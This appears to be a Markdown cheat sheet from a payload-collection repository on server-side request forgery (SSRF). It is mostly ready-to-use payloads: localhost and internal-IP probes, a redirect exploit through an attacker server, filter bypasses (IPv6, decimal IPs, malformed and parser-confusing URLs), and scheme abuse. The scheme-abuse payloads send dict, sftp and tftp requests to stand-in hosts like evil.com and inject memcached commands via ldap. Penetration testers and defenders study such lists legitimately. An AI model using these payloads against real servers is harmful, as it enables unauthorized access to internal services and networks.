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104 lines
2.4 KiB
Markdown
104 lines
2.4 KiB
Markdown
# Server-Side Request Forgery
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Server Side Request Forgery or SSRF is a vulnerability in which an attacker forces a server to perform requests on behalf of him.
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## Exploit
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Basic SSRF v1
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```
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http://127.0.0.1:80
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http://127.0.0.1:443
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http://127.0.0.1:22
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```
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Basic SSRF v2
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```
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http://localhost:80
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http://localhost:443
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http://localhost:22
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```
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Advanced exploit using a redirection
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```
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1. Create a subdomain pointing to 192.168.0.1 with DNS A record e.g:ssrf.example.com
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2. Launch the SSRF: vulnerable.com/index.php?url=http://YOUR_SERVER_IP
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vulnerable.com will fetch YOUR_SERVER_IP which will redirect to 192.168.0.1
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```
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Advanced exploit using type=url
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```
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Change "type=file" to "type=url"
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Paste URL in text field and hit enter
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Using this vulnerability users can upload images from any image URL = trigger an SSRF
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```
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## Bypassing
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Bypass localhost with [::]
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```
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http://[::]:80/
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http://[::]:25/ SMTP
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http://[::]:22/ SSH
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http://[::]:3128/ Squid
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```
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Bypass localhost with a domain redirecting to locahost
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```
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http://n-pn.info
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```
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Bypass using a decimal ip location
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```
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http://2130706433/ = http://127.0.0.1
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http://3232235521/ = http://192.168.0.1
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http://3232235777/ = http://192.168.1.1
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```
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Bypass using malformed urls
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```
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localhost:+11211aaa
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localhost:00011211aaaa
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```
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Bypass using rare address
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```
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http://0/
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```
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Bypass using tricks combination
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```
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http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
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urllib2 : 1.1.1.1
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requests + browsers : 2.2.2.2
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urllib : 3.3.3.3
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```
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## SSRF via URL Scheme
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Dict://
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The DICT URL scheme is used to refer to definitions or word lists available using the DICT protocol:
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```
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dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
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ssrf.php?url=dict://attacker:11111/
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```
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Sftp://
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```
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ssrf.php?url=sftp://evil.com:11111/
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```
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Tftp://
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```
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ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET
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```
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Ldap://
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```
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ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
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```
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## Thanks to
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* [Hackerone - How To: Server-Side Request Forgery (SSRF)](https://www.hackerone.com/blog-How-To-Server-Side-Request-Forgery-SSRF)
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* [Awesome URL abuse for SSRF by @orange_8361 #BHUSA](https://twitter.com/albinowax/status/890725759861403648)
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* [How I Chained 4 vulnerabilities on GitHub Enterprise, From SSRF Execution Chain to RCE! Orange Tsai](http://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html)
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* [SSRF Tips - xl7dev](http://blog.safebuff.com/2016/07/03/SSRF-Tips/)
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* [SSRF in https://imgur.com/vidgif/url](https://hackerone.com/reports/115748)
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